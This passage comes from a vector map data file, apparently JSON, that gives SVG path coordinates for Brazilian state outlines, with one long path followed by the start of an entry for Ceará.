63566.33 163775.67 63630.67 163615.00 63695.00C163604.33 63716.33 163593.67 63737.67 163583.00 63759.00C163561.33 63770.00 163539.67 63781.00 163518.00 63792.00C163464.33 63802.67 163410.67 63813.33 163357.00 63824.00C163346.33 63845.33 163335.67 63866.67 163325.00 63888.00C163325.00 63909.33 163325.00 63930.67 163325.00 63952.00C163357.33 64038.00 163389.67 64124.00 163422.00 64210.00C163433.52 64221.83 163445.69 64233.05 163456.76 64245.30C163509.51 64308.54 163562.25 64371.77 163615.00 64435.00C163615.00 64445.67 163615.00 64456.33 163615.00 64467.00C163625.67 64477.67 163636.33 64488.33 163647.00 64499.00C163647.00 64574.00 163647.00 64649.00 163647.00 64724.00C163614.65 64788.45 163582.17 64852.84 163549.89 64917.33C163528.59 64981.55 163507.30 65045.78 163486.00 65110.00C163496.67 65174.33 163507.33 65238.67 163518.00 65303.00C163550.33 65335.00 163582.67 65367.00 163615.00 65399.00C163657.77 65409.72 163700.57 65420.34 163743.32 65431.12C163829.21 65463.41 163915.11 65495.71 164001.00 65528.00C164011.67 65528.00 164022.33 65528.00 164033.00 65528.00C164065.00 65560.00 164097.00 65592.00 164129.00 65624.00C164129.23 65635.34 164128.53 65646.80 164129.36 65658.07C164139.91 65689.71 164150.45 65721.36 164161.00 65753.00C164160.87 65775.18 164161.26 65797.37 164160.79 65819.53C164150.23 65947.72 164139.41 66075.90 164129.00 66204.10C164129.00 66236.07 164129.00 66268.03 164129.00 66300.00C164075.33 66396.33 164021.67 66492.67 163968.00 66589.00C163956.96 66621.83 163946.28 66654.78 163934.99 66687.53C163913.99 66740.47 163892.86 66793.36 163871.92 66846.33C163861.28 66889.22 163850.64 66932.11 163840.00 66975.00C163850.67 66996.33 163861.33 67017.67 163872.00 67039.00C163882.67 67049.66 163893.33 67060.34 163904.00 67071.00C163904.00 67092.67 163904.00 67114.33 163904.00 67136.00C163893.33 67146.66 163882.67 67157.34 163872.00 67168.00C163872.00 67178.67 163872.00 67189.33 163872.00 67200.00C163818.33 67178.67 163764.67 67157.33 163711.00 67136.00C163700.33 67146.66 163689.67 67157.34 163679.00 67168.00C163679.00 67178.67 163679.00 67189.33 163679.00 67200.00C163668.33 67210.66 163657.67 67221.34 163647.00 67232.00C163625.67 67232.00 163604.33 67232.00 163583.00 67232.00C163572.00 67242.67 163561.00 67253.33 163550.00 67264.00C163550.00 67285.67 163550.00 67307.33 163550.00 67329.00C163539.33 67339.66 163528.67 67350.34 163518.00 67361.00C163496.67 67361.00 163475.33 67361.00 163454.00 67361.00C163443.33 67382.33 163432.67 67403.67 163422.00 67425.00C163411.31 67435.79 163400.41 67446.39 163389.84 67457.30C163378.90 67478.54 163367.95 67499.77 163357.00 67521.00C163357.00 67532.00 163357.00 67543.00 163357.00 67554.00C163325.00 67554.00 163293.00 67554.00 163261.00 67554.00C163239.67 67575.34 163218.33 67596.66 163197.00 67618.00C163164.67 67628.67 163132.33 67639.33 163100.00 67650.00C163089.20 67660.69 163078.61 67671.59 163067.69 67682.15C163046.46 67692.77 163025.23 67703.38 163004.00 67714.00C163014.67 67757.00 163025.33 67800.00 163036.00 67843.00C163025.33 67853.66 163014.67 67864.34 163004.00 67875.00C163004.00 67896.33 163004.00 67917.67 163004.00 67939.00C162993.33 67939.00 162982.67 67939.00 162972.00 67939.00C162972.00 67960.67 162972.00 67982.33 162972.00 68004.00C162929.00 68014.67 162886.00 68025.33 162843.00 68036.00C162843.00 68046.67 162843.00 68057.33 162843.00 68068.00C162832.33 68078.66 162821.67 68089.34 162811.00 68100.00C162821.67 68143.00 162832.33 68186.00 162843.00 68229.00C162811.00 68261.00 162779.00 68293.00 162747.00 68325.00C162714.67 68325.00 162682.33 68325.00 162650.00 68325.00C162650.00 68314.33 162650.00 68303.67 162650.00 68293.00C162639.33 68271.67 162628.67 68250.33 162618.00 68229.00C162607.33 68218.34 162596.67 68207.66 162586.00 68197.00C162553.67 68197.00 162521.33 68197.00 162489.00 68197.00C162478.33 68218.33 162467.67 68239.67 162457.00 68261.00C162467.67 68261.00 162478.33 68261.00 162489.00 68261.00C162489.00 68293.00 162489.00 68325.00 162489.00 68357.00C162478.33 68357.00 162467.67 68357.00 162457.00 68357.00C162446.33 68368.00 162435.67 68379.00 162425.00 68390.00C162425.00 68432.67 162425.00 68475.33 162425.00 68518.00C162414.33 68539.33 162403.67 68560.67 162393.00 68582.00C162371.67 68603.67 162350.33 68625.33 162329.00 68647.00C162307.22 68625.29 162285.57 68603.44 162263.71 68581.81C162231.74 68560.43 162199.67 68539.22 162167.76 68517.76C162157.17 68507.18 162146.59 68496.58 162136.00 68486.00C162136.00 68475.33 162136.00 68464.67 162136.00 68454.00C162114.33 68432.67 162092.67 68411.33 162071.00 68390.00C162049.67 68400.67 162028.33 68411.33 162007.00 68422.00C161996.33 68422.00 161985.67 68422.00 161975.00 68422.00C161964.33 68454.00 161953.67 68486.00 161943.00 68518.00C161889.33 68528.67 161835.67 68539.33 161782.00 68550.00C161771.32 68582.45 161760.54 68614.87 161749.93 68647.34C161739.28 68700.89 161728.64 68754.45 161718.00 68808.00C161675.00 68797.00 161632.00 68786.00 161589.00 68775.00C161589.00 68807.33 161589.00 68839.67 161589.00 68872.00C161578.33 68904.00 161567.67 68936.00 161557.00 68968.00C161546.33 68978.66 161535.67 68989.34 161525.00 69000.00C161514.33 69000.00 161503.67 69000.00 161493.00 69000.00C161482.00 69021.67 161471.00 69043.33 161460.00 69065.00C161438.67 69075.67 161417.33 69086.33 161396.00 69097.00C161385.33 69097.00 161374.67 69097.00 161364.00 69097.00C161353.33 69086.34 161342.67 69075.66 161332.00 69065.00C161310.67 69065.00 161289.33 69065.00 161268.00 69065.00C161268.00 69086.33 161268.00 69107.67 161268.00 69129.00C161246.33 69172.00 161224.67 69215.00 161203.00 69258.00C161171.00 69290.00 161139.00 69322.00 161107.00 69354.00C161085.33 69354.00 161063.67 69354.00 161042.00 69354.00C161031.33 69364.66 161020.67 69375.34 161010.00 69386.00C160999.33 69386.00 160988.67 69386.00 160978.00 69386.00C160978.00 69407.67 160978.00 69429.33 160978.00 69451.00C160988.67 69483.00 160999.33 69515.00 161010.00 69547.00C160988.67 69568.34 160967.33 69589.66 160946.00 69611.00C160924.67 69611.00 160903.33 69611.00 160882.00 69611.00C160871.21 69621.69 160860.61 69632.59 160849.69 69643.15C160828.13 69654.10 160806.56 69665.05 160785.00 69676.00C160731.33 69676.00 160677.67 69676.00 160624.00 69676.00C160591.72 69718.88 160559.74 69762.02 160527.26 69804.74C160516.71 69815.19 160506.36 69825.84 160495.69 69836.15C160452.79 69857.77 160409.90 69879.39 160367.00 69901.00C160302.67 69901.00 160238.33 69901.00 160174.00 69901.00C160174.00 69911.67 160174.00 69922.33 160174.00 69933.00C160152.67 69954.34 160131.33 69975.66 160110.00 69997.00C160099.27 70029.43 160088.66 70061.90 160077.85 70094.31C160056.37 70137.53 160034.48 70180.56 160013.23 70223.89C159991.83 70276.93 159970.41 70329.96 159949.00 70383.00C159938.33 70372.34 159927.67 70361.66 159917.00 70351.00C159873.72 70404.89 159830.68 70458.98 159787.26 70512.74C159766.17 70533.82 159745.09 70554.91 159724.00 70576.00C159702.67 70576.00 159681.33 70576.00 159660.00 70576.00C159649.33 70608.00 159638.67 70640.00 159628.00 70672.00C159617.33 70672.00 159606.67 70672.00 159596.00 70672.00C159596.00 70683.00 159596.00 70694.00 159596.00 70705.00C159585.00 70715.67 159574.00 70726.33 159563.00 70737.00C159563.00 70758.33 159563.00 70779.67 159563.00 70801.00C159552.33 70822.33 159541.67 70843.67 159531.00 70865.00C159520.33 70865.00 159509.67 70865.00 159499.00 70865.00C159488.33 70908.00 159477.67 70951.00 159467.00 70994.00C159445.67 71004.67 159424.33 71015.33 159403.00 71026.00C159403.00 71069.00 159403.00 71112.00 159403.00 71155.00C159370.67 71165.67 159338.33 71176.33 159306.00 71187.00C159295.33 71165.67 159284.67 71144.33 159274.00 71123.00C159220.33 71123.00 159166.67 71123.00 159113.00 71123.00C159102.33 71144.33 159091.67 71165.67 159081.00 71187.00C159059.67 71187.00 159038.33 71187.00 159017.00 71187.00C159017.00 71208.33 159017.00 71229.67 159017.00 71251.00C159005.61 71251.22 158994.17 71250.55 158982.82 71251.36C158919.21 71261.91 158855.61 71272.46 158792.00 71283.00C158792.00 71304.67 158792.00 71326.33 158792.00 71348.00C158781.33 71369.33 158770.67 71390.67 158760.00 71412.00C158685.00 71412.00 158610.00 71412.00 158535.00 71412.00C158534.78 71423.10 158535.44 71434.29 158534.65 71445.34C158523.77 71487.89 158512.88 71530.45 158502.00 71573.00C158502.00 71648.00 158502.00 71723.00 158502.00 71798.00C158459.11 71830.29 158415.98 71862.27 158373.25 71894.75C158351.83 71916.16 158330.42 71937.58 158309.00 71959.00C158298.33 71959.00 158287.67 71959.00 158277.00 71959.00C158245.00 71991.00 158213.00 72023.00 158181.00 72055.00C158181.00 72087.00 158181.00 72119.00 158181.00 72151.00C158148.67 72183.34 158116.33 72215.66 158084.00 72248.00C158062.67 72344.33 158041.33 72440.67 158020.00 72537.00C157998.67 72537.00 157977.33 72537.00 157956.00 72537.00C157934.33 72526.33 157912.67 72515.67 157891.00 72505.00C157880.33 72505.00 157869.67 72505.00 157859.00 72505.00C157837.67 72526.67 157816.33 72548.33 157795.00 72570.00C157763.00 72580.67 157731.00 72591.33 157699.00 72602.00C157688.00 72623.33 157677.00 72644.67 157666.00 72666.00C157655.33 72676.66 157644.67 72687.34 157634.00 72698.00C157623.33 72698.00 157612.67 72698.00 157602.00 72698.00C157580.67 72676.66 157559.33 72655.34 157538.00 72634.00C157505.67 72634.00 157473.33 72634.00 157441.00 72634.00C157419.67 72601.66 157398.33 72569.34 157377.00 72537.00C157334.00 72569.33 157291.00 72601.67 157248.00 72634.00C157205.33 72612.67 157162.67 72591.33 157120.00 72570.00C157098.33 72580.67 157076.67 72591.33 157055.00 72602.00C157012.33 72602.00 156969.67 72602.00 156927.00 72602.00C156873.33 72634.00 156819.67 72666.00 156766.00 72698.00C156734.00 72708.67 156702.00 72719.33 156670.00 72730.00C156573.33 72730.00 156476.67 72730.00 156380.00 72730.00C156358.67 72740.67 156337.33 72751.33 156316.00 72762.00C156294.67 72762.00 156273.33 72762.00 156252.00 72762.00C156230.33 72751.33 156208.67 72740.67 156187.00 72730.00C156176.33 72730.00 156165.67 72730.00 156155.00 72730.00C156133.26 72741.02 156111.26 72751.58 156089.67 72762.89C156057.71 72784.35 156025.66 72805.68 155993.76 72827.24C155983.17 72837.82 155972.59 72848.42 155962.00 72859.00C155930.00 72859.00 155898.00 72859.00 155866.00 72859.00C155833.67 72869.67 155801.33 72880.33 155769.00 72891.00C155758.33 72891.00 155747.67 72891.00 155737.00 72891.00C155726.33 72912.33 155715.67 72933.67 155705.00 72955.00C155651.33 72987.33 155597.67 73019.67 155544.00 73052.00C155544.00 73094.67 155544.00 73137.33 155544.00 73180.00C155533.33 73180.00 155522.67 73180.00 155512.00 73180.00C155501.20 73191.03 155490.63 73202.26 155479.69 73213.15C155436.47 73234.71 155393.05 73255.90 155349.96 73277.69C155318.24 73298.90 155286.42 73319.95 155254.76 73341.24C155244.17 73351.82 155233.59 73362.42 155223.00 73373.00C155223.00 73416.00 155223.00 73459.00 155223.00 73502.00C155212.20 73512.69 155201.62 73523.59 155190.69 73534.15C155169.13 73544.77 155147.56 73555.38 155126.00 73566.00C155115.33 73576.66 155104.67 73587.34 155094.00 73598.00C155062.00 73587.33 155030.00 73576.67 154998.00 73566.00C154976.33 73576.67 154954.67 73587.33 154933.00 73598.00C154922.33 73609.00 154911.67 73620.00 154901.00 73631.00C154911.67 73652.33 154922.33 73673.67 154933.00 73695.00C154922.33 73716.33 154911.67 73737.67 154901.00 73759.00C154858.33 73769.67 154815.67 73780.33 154773.00 73791.00C154730.00 73780.33 154687.00 73769.67 154644.00 73759.00C154612.00 73769.67 154580.00 73780.33 154548.00 73791.00C154515.67 73780.33 154483.33 73769.67 154451.00 73759.00C154440.31 73769.79 154429.41 73780.38 154418.85 73791.31C154408.15 73812.96 154397.59 73834.68 154386.79 73856.27C154354.52 73898.85 154322.26 73941.42 154290.00 73984.00C154279.33 73973.34 154268.67 73962.66 154258.00 73952.00C154236.67 73962.67 154215.33 73973.33 154194.00 73984.00C154172.33 73984.00 154150.67 73984.00 154129.00 73984.00C154097.00 73994.67 154065.00 74005.33 154033.00 74016.00C154011.67 74016.00 153990.33 74016.00 153969.00 74016.00C153969.00 74005.33 153969.00 73994.67 153969.00 73984.00C153936.67 73973.33 153904.33 73962.67 153872.00 73952.00C153861.33 73941.34 153850.67 73930.66 153840.00 73920.00C153840.00 73963.00 153840.00 74006.00 153840.00 74049.00C153797.33 74091.66 153754.67 74134.34 153712.00 74177.00C153690.33 74187.67 153668.67 74198.33 153647.00 74209.00C153647.00 74241.33 153647.00 74273.67 153647.00 74306.00C153636.33 74316.66 153625.67 74327.34 153615.00 74338.00C153550.67 74348.67 153486.33 74359.33 153422.00 74370.00C153400.67 74370.00 153379.33 74370.00 153358.00 74370.00C153358.00 74338.00 153358.00 74306.00 153358.00 74274.00C153336.33 74241.67 153314.67 74209.33 153293.00 74177.00C153293.00 74145.00 153293.00 74113.00 153293.00 74081.00C153282.33 74059.34 153271.67 74037.66 153261.00 74016.00C153250.33 74016.00 153239.67 74016.00 153229.00 74016.00C153207.67 74037.67 153186.33 74059.33 153165.00 74081.00C153143.67 74081.00 153122.33 74081.00 153101.00 74081.00C153068.67 74038.00 153036.33 73995.00 153004.00 73952.00C152982.67 73941.33 152961.33 73930.67 152940.00 73920.00C152907.67 73920.00 152875.33 73920.00 152843.00 73920.00C152811.00 73898.67 152779.00 73877.33 152747.00 73856.00C152747.00 73845.00 152747.00 73834.00 152747.00 73823.00C152736.33 73801.54 152725.48 73780.18 152714.92 73758.67C152704.28 73716.11 152693.64 73673.56 152683.00 73631.00C152683.00 73609.33 152683.00 73587.67 152683.00 73566.00C152693.67 73534.00 152704.33 73502.00 152715.00 73470.00C152704.33 73459.34 152693.67 73448.66 152683.00 73438.00C152683.00 73427.00 152683.00 73416.00 152683.00 73405.00C152661.33 73383.67 152639.67 73362.33 152618.00 73341.00C152596.67 73330.33 152575.33 73319.67 152554.00 73309.00C152522.00 73319.67 152490.00 73330.33 152458.00 73341.00C152446.28 73341.22 152434.50 73340.55 152422.82 73341.36C152359.21 73351.91 152295.61 73362.46 152232.00 73373.00C152232.00 73341.00 152232.00 73309.00 152232.00 73277.00C152189.33 73277.00 152146.67 73277.00 152104.00 73277.00C152104.00 73266.33 152104.00 73255.67 152104.00 73245.00C152082.67 73234.33 152061.33 73223.67 152040.00 73213.00C152029.00 73213.00 152018.00 73213.00 152007.00 73213.00C152007.00 73202.00 152007.00 73191.00 152007.00 73180.00C151996.33 73180.00 151985.67 73180.00 151975.00 73180.00C151964.33 73169.34 151953.67 73158.66 151943.00 73148.00C151932.33 73158.66 151921.67 73169.34 151911.00 73180.00C151900.33 73180.00 151889.67 73180.00 151879.00 73180.00C151879.00 73201.67 151879.00 73223.33 151879.00 73245.00C151857.33 73223.34 151835.67 73201.66 151814.00 73180.00C151792.67 73180.00 151771.33 73180.00 151750.00 73180.00C151728.67 73233.67 151707.33 73287.33 151686.00 73341.00C151653.67 73362.34 151621.33 73383.66 151589.00 73405.00C151578.31 73394.21 151567.41 73383.61 151556.85 73372.69C151546.24 73351.46 151535.62 73330.23 151525.00 73309.00C151493.00 73309.00 151461.00 73309.00 151429.00 73309.00C151407.33 73319.67 151385.67 73330.33 151364.00 73341.00C151321.33 73341.00 151278.67 73341.00 151236.00 73341.00C151225.33 73362.33 151214.67 73383.67 151204.00 73405.00C151182.33 73405.00 151160.67 73405.00 151139.00 73405.00C151128.33 73362.33 151117.67 73319.67 151107.00 73277.00C151096.33 73277.00 151085.67 73277.00 151075.00 73277.00C151053.67 73266.33 151032.33 73255.67 151011.00 73245.00C150989.33 73212.67 150967.67 73180.33 150946.00 73148.00C150903.33 73148.00 150860.67 73148.00 150818.00 73148.00C150785.67 73116.00 150753.33 73084.00 150721.00 73052.00C150688.77 72997.78 150656.24 72943.72 150624.19 72889.39C150613.50 72868.33 150603.33 72846.96 150592.29 72826.10C150549.52 72772.74 150506.76 72719.37 150464.00 72666.00C150442.67 72655.33 150421.33 72644.67 150400.00 72634.00C150389.33 72634.00 150378.67 72634.00 150368.00 72634.00C150346.33 72623.33 150324.67 72612.67 150303.00 72602.00C150270.90 72612.73 150238.76 72623.35 150206.69 72634.15C150185.46 72644.77 150164.23 72655.38 150143.00 72666.00C150078.67 72730.34 150014.33 72794.66 149950.00 72859.00C149938.65 72859.23 149927.20 72858.54 149915.92 72859.36C149884.28 72869.90 149852.64 72880.45 149821.00 72891.00C149810.33 72891.00 149799.67 72891.00 149789.00 72891.00C149756.61 72923.10 149724.12 72955.11 149691.79 72987.27C149659.86 73030.18 149627.93 73073.09 149596.00 73116.00C149574.59 73126.76 149553.09 73137.34 149531.74 73148.22C149467.39 73201.87 149403.10 73255.59 149338.71 73309.19C149306.48 73330.47 149274.24 73351.73 149242.00 73373.00C149131.56 73409.94 149021.27 73447.36 148910.71 73483.95C148892.47 73489.97 148874.24 73495.98 148856.00 73502.00C148834.67 73523.34 148813.33 73544.66 148792.00 73566.00C148770.67 73609.00 148749.33 73652.00 148728.00 73695.00C148695.67 73716.34 148663.33 73737.66 148631.00 73759.00C148577.67 73844.67 148524.33 73930.33 148471.00 74016.00C148471.06 74037.78 148470.89 74059.56 148471.08 74081.33C148481.72 74123.89 148492.36 74166.44 148503.00 74209.00C148503.00 74252.00 148503.00 74295.00 148503.00 74338.00C148524.33 74348.67 148545.67 74359.33 148567.00 74370.00C148556.33 74370.00 148545.67 74370.00 148535.00 74370.00C148535.00 74380.67 148535.00 74391.33 148535.00 74402.00C148524.33 74423.66 148513.67 74445.34 148503.00 74467.00C148535.00 74477.67 148567.00 74488.33 148599.00 74499.00C148642.00 74574.00 148685.00 74649.00 148728.00 74724.00C148728.00 74777.67 148728.00 74831.33 148728.00 74885.00C148749.33 74949.00 148770.67 75013.00 148792.00 75077.00C148813.33 75088.00 148834.67 75099.00 148856.00 75110.00C148867.00 75120.67 148878.00 75131.33 148889.00 75142.00C148953.00 75163.33 149017.00 75184.67 149081.00 75206.00C149092.00 75227.33 149103.00 75248.67 149114.00 75270.00C149146.00 75270.00 149178.00 75270.00 149210.00 75270.00C149231.33 75291.67 149252.67 75313.33 149274.00 75335.00C149295.67 75345.67 149317.33 75356.33 149339.00 75367.00C149360.33 75388.34 149381.67 75409.66 149403.00 75431.00C149403.00 75441.67 149403.00 75452.33 149403.00 75463.00C149381.67 75484.67 149360.33 75506.33 149339.00 75528.00C149339.00 75549.33 149339.00 75570.67 149339.00 75592.00C149328.33 75613.33 149317.67 75634.67 149307.00 75656.00C149274.67 75666.67 149242.33 75677.33 149210.00 75688.00C149210.00 75709.67 149210.00 75731.33 149210.00 75753.00C149188.67 75753.00 149167.33 75753.00 149146.00 75753.00C149146.00 75785.00 149146.00 75817.00 149146.00 75849.00C149167.33 75849.00 149188.67 75849.00 149210.00 75849.00C149220.67 75859.66 149231.33 75870.34 149242.00 75881.00C149242.00 75891.67 149242.00 75902.33 149242.00 75913.00C149220.67 75956.00 149199.33 75999.00 149178.00 76042.00C149210.00 76074.00 149242.00 76106.00 149274.00 76138.00C149295.67 76149.00 149317.33 76160.00 149339.00 76171.00C149349.67 76192.33 149360.33 76213.67 149371.00 76235.00C149360.33 76278.00 149349.67 76321.00 149339.00 76364.00C149306.67 76385.34 149274.33 76406.66 149242.00 76428.00C149231.33 76460.00 149220.67 76492.00 149210.00 76524.00C149210.00 76545.67 149210.00 76567.33 149210.00 76589.00C149113.67 76589.00 149017.33 76589.00 148921.00 76589.00C148910.16 76600.06 148898.85 76610.72 148888.30 76622.03C148866.86 76653.68 148845.43 76685.34 148824.00 76717.00C148834.67 76738.66 148845.33 76760.34 148856.00 76782.00C148855.97 76814.11 148856.06 76846.23 148855.95 76878.34C148845.30 76953.23 148834.65 77028.11 148824.00 77103.00C148791.91 77146.07 148759.92 77189.22 148727.76 77232.24C148663.50 77296.49 148599.25 77360.75 148535.00 77425.00C148535.00 77521.33 148535.00 77617.67 148535.00 77714.00C148513.56 77735.38 148492.24 77756.89 148470.71 77778.19C148438.41 77799.90 148406.00 77821.45 148373.76 77843.24C148341.84 77875.16 148309.92 77907.08 148278.00 77939.00C148267.00 77971.33 148256.00 78003.67 148245.00 78036.00C148223.67 78057.34 148202.33 78078.66 148181.00 78100.00C148170.33 78153.67 148159.67 78207.33 148149.00 78261.00C148149.00 78271.67 148149.00 78282.33 148149.00 78293.00C148074.00 78293.00 147999.00 78293.00 147924.00 78293.00C147859.69 78260.62 147795.44 78228.11 147731.00 78196.00C147709.67 78196.00 147688.33 78196.00 147667.00 78196.00C147656.33 78217.79 147645.49 78239.50 147634.91 78261.33C147623.94 78303.89 147612.97 78346.44 147602.00 78389.00C147613.00 78442.67 147624.00 78496.33 147635.00 78550.00C147635.00 78560.67 147635.00 78571.33 147635.00 78582.00C147603.44 78613.26 147571.34 78643.98 147540.73 78676.18C147535.01 78682.16 147535.16 78691.58 147532.00 78699.06C147502.00 78799.38 147472.00 78899.69 147442.00 79000.00C147431.00 79021.33 147420.00 79042.67 147409.00 79064.00C147398.33 79075.00 147387.67 79086.00 147377.00 79097.00C147345.00 79097.00 147313.00 79097.00 147281.00 79097.00C147270.31 79107.79 147259.41 79118.39 147248.84 79129.31C147217.79 79190.68 147186.20 79251.78 147156.12 79313.64C147153.97 79318.39 147152.37 79324.03 147146.00 79322.00C147137.33 79322.00 147128.67 79322.00 147120.00 79322.00C147098.67 79332.67 147077.33 79343.33 147056.00 79354.00C147034.67 79354.00 147013.33 79354.00 146992.00 79354.00C146948.88 79332.77 146905.70 79311.63 146862.87 79289.81C146830.49 79268.37 146798.31 79246.57 146766.00 79225.00C146755.33 79225.00 146744.67 79225.00 146734.00 79225.00C146702.00 79246.67 146670.00 79268.33 146638.00 79290.00C146626.99 79289.77 146615.86 79290.48 146604.91 79289.63C146572.94 79278.75 146540.97 79267.88 146509.00 79257.00C146477.00 79235.67 146445.00 79214.33 146413.00 79193.00C146380.67 79128.66 146348.33 79064.34 146316.00 79000.00C146294.67 78978.66 146273.33 78957.34 146252.00 78936.00C146230.67 78925.33 146209.33 78914.67 146188.00 78904.00C146166.33 78904.00 146144.67 78904.00 146123.00 78904.00C146108.32 78919.05 146092.63 78933.18 146079.37 78949.55C146018.66 79020.27 145958.08 79091.12 145897.26 79161.74C145886.84 79172.16 145876.42 79182.58 145866.00 79193.00C145834.00 79203.67 145802.00 79214.33 145770.00 79225.00C145727.00 79214.33 145684.00 79203.67 145641.00 79193.00C145630.33 79193.00 145619.67 79193.00 145609.00 79193.00C145598.31 79203.79 145587.41 79214.38 145576.85 79225.31C145566.24 79246.87 145555.62 79268.44 145545.00 79290.00C145523.33 79311.33 145501.67 79332.67 145480.00 79354.00C145448.00 79364.67 145416.00 79375.33 145384.00 79386.00C145351.67 79386.00 145319.33 79386.00 145287.00 79386.00C145244.33 79354.00 145201.67 79322.00 145159.00 79290.00C145116.00 79290.00 145073.00 79290.00 145030.00 79290.00C145008.67 79300.67 144987.33 79311.33 144966.00 79322.00C144944.33 79364.66 144922.67 79407.34 144901.00 79450.00C144890.21 79460.70 144879.61 79471.59 144868.69 79482.16C144847.46 79493.11 144826.23 79504.05 144805.00 79515.00C144773.00 79515.00 144741.00 79515.00 144709.00 79515.00C144687.33 79525.67 144665.67 79536.33 144644.00 79547.00C144633.33 79557.66 144622.67 79568.34 144612.00 79579.00C144612.00 79589.67 144612.00 79600.33 144612.00 79611.00C144601.33 79611.00 144590.67 79611.00 144580.00 79611.00C144601.33 79675.33 144622.67 79739.67 144644.00 79804.00C144633.33 79836.00 144622.67 79868.00 144612.00 79900.00C144612.00 79911.00 144612.00 79922.00 144612.00 79933.00C144580.00 79943.67 144548.00 79954.33 144516.00 79965.00C144473.00 79954.33 144430.00 79943.67 144387.00 79933.00C144365.67 79943.67 144344.33 79954.33 144323.00 79965.00C144312.33 79975.66 144301.67 79986.34 144291.00 79997.00C144258.67 80007.67 144226.33 80018.33 144194.00 80029.00C144183.33 80039.66 144172.67 80050.34 144162.00 80061.00C144162.00 80093.33 144162.00 80125.67 144162.00 80158.00C144119.00 80158.00 144076.00 80158.00 144033.00 80158.00C144001.00 80222.33 143969.00 80286.67 143937.00 80351.00C143937.00 80383.00 143937.00 80415.00 143937.00 80447.00C143915.56 80468.39 143894.22 80489.87 143872.73 80511.21C143829.82 80543.47 143786.91 80575.74 143744.00 80608.00C143733.33 80586.34 143722.67 80564.66 143712.00 80543.00C143701.33 80543.00 143690.67 80543.00 143680.00 80543.00C143647.67 80575.34 143615.33 80607.66 143583.00 80640.00C143561.67 80640.00 143540.33 80640.00 143519.00 80640.00C143508.33 80650.66 143497.67 80661.34 143487.00 80672.00C143476.33 80672.00 143465.67 80672.00 143455.00 80672.00C143422.67 80704.34 143390.33 80736.66 143358.00 80769.00C143293.67 80715.33 143229.33 80661.67 143165.00 80608.00C143165.00 80597.33 143165.00 80586.67 143165.00 80576.00C143153.99 80575.76 143142.87 80576.48 143131.93 80575.63C143100.29 80564.76 143068.64 80553.88 143037.00 80543.00C143004.67 80543.00 142972.33 80543.00 142940.00 80543.00C142918.67 80511.00 142897.33 80479.00 142876.00 80447.00C142854.67 80436.33 142833.33 80425.67 142812.00 80415.00C142800.87 80404.30 142789.94 80393.41 142778.69 80382.85C142757.46 80372.23 142736.23 80361.62 142715.00 80351.00C142704.33 80340.00 142693.67 80329.00 142683.00 80318.00C142661.67 80318.00 142640.33 80318.00 142619.00 80318.00C142586.67 80329.00 142554.33 80340.00 142522.00 80351.00C142511.33 80340.00 142500.67 80329.00 142490.00 80318.00C142425.55 80317.97 142361.11 80318.06 142296.66 80317.96C142210.99 80307.32 142125.34 80296.57 142039.66 80286.00C142029.11 80286.00 142018.55 80286.00 142008.00 80286.00C142008.00 80275.33 142008.00 80264.67 142008.00 80254.00C141997.33 80243.34 141986.67 80232.66 141976.00 80222.00C141933.00 80222.00 141890.00 80222.00 141847.00 80222.00C141836.33 80211.34 141825.67 80200.66 141815.00 80190.00C141793.67 80136.33 141772.33 80082.67 141751.00 80029.00C141751.00 80018.33 141751.00 80007.67 141751.00 79997.00C141718.55 79986.32 141686.13 79975.54 141653.66 79964.93C141600.11 79954.29 141546.55 79943.65 141493.00 79933.00C141439.33 79890.00 141385.67 79847.00 141332.00 79804.00C141310.67 79707.67 141289.33 79611.33 141268.00 79515.00C141268.00 79504.00 141268.00 79493.00 141268.00 79482.00C141257.31 79471.21 141246.41 79460.61 141235.85 79449.69C141225.24 79428.46 141214.62 79407.23 141204.00 79386.00C141182.67 79386.00 141161.33 79386.00 141140.00 79386.00C141118.33 79375.33 141096.67 79364.67 141075.00 79354.00C141064.33 79354.00 141053.67 79354.00 141043.00 79354.00C141021.67 79332.66 141000.33 79311.34 140979.00 79290.00C140978.67 79277.50 140979.72 79264.92 140978.35 79252.48C140967.91 79178.99 140957.45 79105.49 140947.00 79032.00C140936.33 79000.00 140925.67 78968.00 140915.00 78936.00C140925.67 78914.34 140936.33 78892.66 140947.00 78871.00C140947.00 78839.00 140947.00 78807.00 140947.00 78775.00C140936.33 78753.67 140925.67 78732.33 140915.00 78711.00C140936.43 78678.60 140957.71 78646.10 140979.24 78613.76C141024.73 78568.43 141069.90 78522.78 141115.59 78477.67C141123.73 78469.78 141131.87 78461.89 141140.00 78454.00C141140.00 78432.33 141140.00 78410.67 141140.00 78389.00C141097.00 78357.00 141054.00 78325.00 141011.00 78293.00C141000.33 78260.67 140989.67 78228.33 140979.00 78196.00C140989.67 78142.67 141000.33 78089.33 141011.00 78036.00C141000.33 78014.34 140989.67 77992.66 140979.00 77971.00C140936.00 77939.00 140893.00 77907.00 140850.00 77875.00C140828.67 77832.00 140807.33 77789.00 140786.00 77746.00C140764.67 77735.33 140743.33 77724.67 140722.00 77714.00C140710.61 77703.16 140699.59 77691.87 140687.96 77681.31C140656.24 77660.10 140624.41 77639.06 140592.76 77617.75C140582.17 77606.84 140571.59 77595.92 140561.00 77585.00C140561.00 77531.67 140561.00 77478.33 140561.00 77425.00C140549.76 77413.68 140539.04 77401.79 140527.45 77390.84C140484.96 77359.23 140442.48 77327.61 140400.00 77296.00C140378.67 77264.00 140357.33 77232.00 140336.00 77200.00C140336.00 77103.33 140336.00 77006.67 140336.00 76910.00C140314.24 76877.93 140292.61 76845.77 140270.76 76813.76C140249.51 76792.17 140228.25 76770.59 140207.00 76749.00C140196.33 76749.00 140185.67 76749.00 140175.00 76749.00C140121.33 76781.33 140067.67 76813.67 140014.00 76846.00C139992.67 76846.00 139971.33 76846.00 139950.00 76846.00C139917.67 76878.00 139885.33 76910.00 139853.00 76942.00C139831.67 76952.67 139810.33 76963.33 139789.00 76974.00C139724.67 76974.00 139660.33 76974.00 139596.00 76974.00C139574.67 77006.34 139553.33 77038.66 139532.00 77071.00C139542.74 77092.71 139553.87 77114.26 139564.36 77136.08C139574.91 77168.05 139585.45 77200.03 139596.00 77232.00C139585.33 77264.00 139574.67 77296.00 139564.00 77328.00C139542.67 77349.34 139521.33 77370.66 139500.00 77392.00C139425.00 77435.00 139350.00 77478.00 139275.00 77521.00C139200.00 77510.33 139125.00 77499.67 139050.00 77489.00C138985.67 77456.67 138921.33 77424.33 138857.00 77392.00C138780.83 77414.10 138704.56 77435.85 138628.46 77458.17C138597.30 77468.45 138566.15 77478.72 138535.00 77489.00z"},"br-06":{"name":"Ceará","path":"M160014.00 43760.00C160014.00 43738.67 160014.00 43717.33 160014.00 